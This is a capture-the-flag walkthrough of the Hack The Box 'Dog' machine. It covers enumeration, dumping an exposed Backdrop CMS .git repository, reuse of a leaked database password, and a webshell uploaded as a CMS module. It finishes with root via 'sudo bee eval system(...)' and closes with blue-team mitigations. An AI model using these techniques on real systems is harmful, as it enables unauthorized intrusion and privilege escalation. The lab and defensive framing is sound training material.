Post

HTB Writeup: Dog

BackdropCMS + exposed .git → DB creds → CMS admin → module upload webshell → SSH via reused creds → sudo bee eval → root.

HTB Writeup: Dog

A quick walkthrough of HTB Dog Linux Easy Box.

TL;DR

  • Findings: Backdrop CMS site leaked its .git repository. Repo contained DB creds. Those creds worked for Backdrop user tiffany. We uploaded a Backdrop module with a PHP shell, moved it to /files for persistence, then reused the same password to SSH as johncusack. johncusack had sudo on bee, whose eval feature gave root RCE.
  • Root: sudo bee eval "system('cat /root/root.txt');".

Initial enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ sudo nmap -Pn -n -sV -sC -A -T4 dog.htb -p-       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 21:22 CET
Nmap scan report for dog.htb (10.129.47.145)
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.129.47.145:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   24.69 ms 10.10.14.1
2   24.73 ms 10.129.47.145

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.17 seconds

ProTip™: Add dog.htb to /etc/hosts so tools (and cookies) behave predictably.


Foothold

Only SSH (22) and HTTP (80) are open. The site banner and nuclei both identify Backdrop CMS 1.x. Two quick wins:

  1. robots.txt lists typical CMS paths worth spidering.
  2. .git/ is exposed → dump the repo.

So we began with basic technologies enumeration using whatweb :

1
2
3
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ whatweb http://dog.htb  
http://dog.htb [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.47.145], UncommonHeaders[x-backdrop-cache,x-generator], X-Frame-Options[SAMEORIGIN]

And then we ran nuclei for any low hanging fruit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ nuclei -u http://dog.htb  
WARNING:(ast) sonic only supports go1.17~1.23, but your environment is not suitable

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.9

                projectdiscovery.io

[INF] Current nuclei version: v3.3.9 (outdated)
[INF] Current nuclei-templates version: v10.1.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 52
[INF] Templates loaded for current scan: 7709
[INF] Executing 7520 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 189 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1708 (Reduced 1614 Requests)
[INF] Using Interactsh Server: oast.site
[apache-detect] [http] [info] http://dog.htb ["Apache/2.4.41 (Ubuntu)"]
[metatag-cms] [http] [info] http://dog.htb ["Backdrop CMS 1 (https://backdropcms.org)"]
[tech-detect:backdrop-cms] [http] [info] http://dog.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://dog.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://dog.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://dog.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://dog.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://dog.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://dog.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://dog.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://dog.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://dog.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://dog.htb
[mixed-passive-content:img] [http] [info] http://dog.htb ["http://dog.htb/files/styles/medium/public/field/image/dog-obesity.jpg","http://dog.htb/files/styles/medium/public/field/image/dog-food.jpg","http://dog.htb/files/styles/medium/public/field/image/dog.jpeg","http://dog.htb/files/styles/medium/public/field/image/dog-animal_dotorlbdd7.jpg"]                                                                              
[caa-fingerprint] [dns] [info] dog.htb

Then we run a basic fuzzing in order to catch some interesting files and directories :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://dog.htb/FUZZ -ic                    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://dog.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 13260, Words: 1368, Lines: 202, Duration: 30ms]
files                   [Status: 301, Size: 302, Words: 20, Lines: 10, Duration: 23ms]
themes                  [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 29ms]
modules                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 28ms]
sites                   [Status: 301, Size: 302, Words: 20, Lines: 10, Duration: 28ms]
core                    [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 26ms]
layouts                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 31ms]
                        [Status: 200, Size: 13260, Words: 1368, Lines: 202, Duration: 36ms]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 28ms]
:: Progress: [220546/220546] :: Job [1/1] :: 1307 req/sec :: Duration: [0:03:18] :: Errors: 0 ::

Nothing very useful, so let’s continue with robots.txt. It’s still worth to check it.

robots

From what we have, /files seems to be a good candidate for further enumeration

files

We quickly spotted a potential username which we’ll keep for later use.

Another quick-win is to check for the presence of a .git folder, which can lead to source code and commits dump.

And we are lucky because this is exactly the case :

git

We’ll use git-dumper, pretty well tailored for automatic extraction.

https://github.com/arthaud/git-dumper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(venv)(sc4nx㉿attackhost)-[~/…/HTBBoxes/Dog/git-dumper/dog]
└─$ python ./git_dumper.py http://dog.htb ./dog
<SNIP>

┌──(venv)(sc4nx㉿attackhost)-[~/…/HTBBoxes/Dog/git-dumper/dog]
└─$ ll              
total 80
drwxrwxr-x 9 sc4nx sc4nx  4096 Mar  9 20:36 core
drwxrwxr-x 7 sc4nx sc4nx  4096 Mar  9 20:36 files
-rwxrwxr-x 1 sc4nx sc4nx   578 Mar  9 20:36 index.php
drwxrwxr-x 2 sc4nx sc4nx  4096 Mar  9 20:36 layouts
-rwxrwxr-x 1 sc4nx sc4nx 18092 Mar  9 20:36 LICENSE.txt
-rwxrwxr-x 1 sc4nx sc4nx  5285 Mar  9 20:36 README.md
-rwxrwxr-x 1 sc4nx sc4nx  1198 Mar  9 20:36 robots.txt
-rwxrwxr-x 1 sc4nx sc4nx 21732 Mar  9 20:36 settings.php
drwxrwxr-x 2 sc4nx sc4nx  4096 Mar  9 20:36 sites
drwxrwxr-x 2 sc4nx sc4nx  4096 Mar  9 20:36 themes

We found mysql credentials in the settings.php file, but as we don’t have for now direct db access, we could assume some credentials reuse for tiffany.

1
2
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

Indeed, we’re able to login with tiffany and the same password :

dashboard

Once inside, Backdrop allows module upload. We package a tiny module that contains a PHP webshell and upload it via the admin UI:

We will create a tar.gz archive and embed a p0wny webshell :

https://github.com/flozz/p0wny-shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ tar cvzf shell.tar.gz shell                   
shell/
shell/shell.info
shell/shell.php

┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog/shell]
└─$ cat shell.info                                                            

    type = module
    name = Shell
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662

Then we will simply use the module inqstall interface and provide our tarball.

moduleinstall

We can now access the webshell at :

http://dog.htb/modules/shell/shell.php

But we’ll move it quickly in another location because it seems that some regular automatic cleanup is deleting our webshell.

So we moved it to :

http://dog.htb/files/shell.php

Fine ! Our webshell is now stable and available :

p0wny

We’re getting a shell as www-data but we spotted 2 other users in the passwd file : jobert and johncusack. As the found password was already reused, it’s still worth to try on them. And this password was also valid for : johncusack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Dog]
└─$ ssh johncusack@dog.htb
johncusack@dog.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun 09 Mar 2025 08:47:26 PM UTC

  System load:           0.0
  Usage of /:            49.0% of 6.32GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.129.89.254
  IPv6 address for eth0: dead:beef::250:56ff:fe94:f109


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


johncusack@dog:~$ 

User Flag

We found the user flag inside this user homefolder :

1
2
3
4
5
6
7
8
9
10
11
12
johncusack@dog:~$ ll
total 28
drwxr-xr-x 3 johncusack johncusack 4096 Feb  7 15:59 ./
drwxr-xr-x 4 root       root       4096 Aug 15  2024 ../
lrwxrwxrwx 1 root       root          9 Feb  7 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack  220 Aug 15  2024 .bash_logout
-rw-r--r-- 1 johncusack johncusack 3771 Aug 15  2024 .bashrc
drwx------ 2 johncusack johncusack 4096 Aug 16  2024 .cache/
lrwxrwxrwx 1 root       root          9 Feb  7 15:59 .mysql_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack  807 Aug 15  2024 .profile
-rw-r----- 1 root       johncusack   33 Mar  9 20:23 user.txt
johncusack@dog:~$

Privilege Escalation

johncusack has sudo privileges on bee :

1
2
3
4
5
6
7
8
johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
johncusack@dog:~$ 

this command line utility is used for managing BackDrop CMS. It can perform actions like running cron, clear cache, and more.

From the official documentation, we can see these basics commands :

https://github.com/backdrop-contrib/bee/wiki/Usage

beeusage

But more interestingly, we noticed a potential attack vector in one of the advanced commands :

advanced

That’s it : we can execute a system command, but as we’re elevating our privileges with sudo, this command will run under root.

1
2
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('whoami');"
root

Root Flag

From there, we can simply get the root flag, or even get a revshell as root for post exploitation.

1
2
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('cat /root/root.txt');"
fc885c52f80f6eec965cf319deb10e6d

Mitigations / Blue team notes

Web / App

  • Never expose .git/: block /.git* in the web server; deploy from artifacts, not live repos.
  • Backdrop CMS hardening
    • Disable module upload for non-owner roles; restrict to trusted admins.
    • Keep Backdrop core and contrib modules updated.
    • Enforce a deny-by-default file handler (only serve known safe extensions from /files).
    • Add a Content-Security-Policy; several missing security headers were flagged (HSTS, CSP, Referrer-Policy, COOP/COEP/CORP, Permissions-Policy).
  • Sanitize public “files” dirs
    • Serve via a separate vhost or bucket with php_admin_flag engine off / RemoveHandler .php so PHP can’t execute there.
    • Periodic malware scan + quarantine.

Identity / Auth

  • Ban password reuse across services; enforce per-service unique creds with a PAM/common password dictionary and breach corpus checks.
  • Prefer SSH keys only (PasswordAuthentication no), rate limit SSH (fail2ban / CrowdSec), and enable 2FA for the CMS.

Privilege

  • Remove sudo /usr/local/bin/bee or constrain with sudoers:
    • Replace with a specific subcommand wrapper; if eval must exist, run it as a non-root service account.
    • Consider AppArmor/SELinux profile on bee to disallow proc_open/exec/system.
  • Web server user should not be able to write into executable locations; mount /var/www with noexec where feasible and split writable content to a non-PHP-executable path.

Monitoring

  • Alert on requests to /.git/, uploading archives, and new .php appearing under /files.
  • Log and alert on bee eval usage, sudo invocations, and creation of world-writable files in web roots.
This post is licensed under CC BY 4.0 by the author.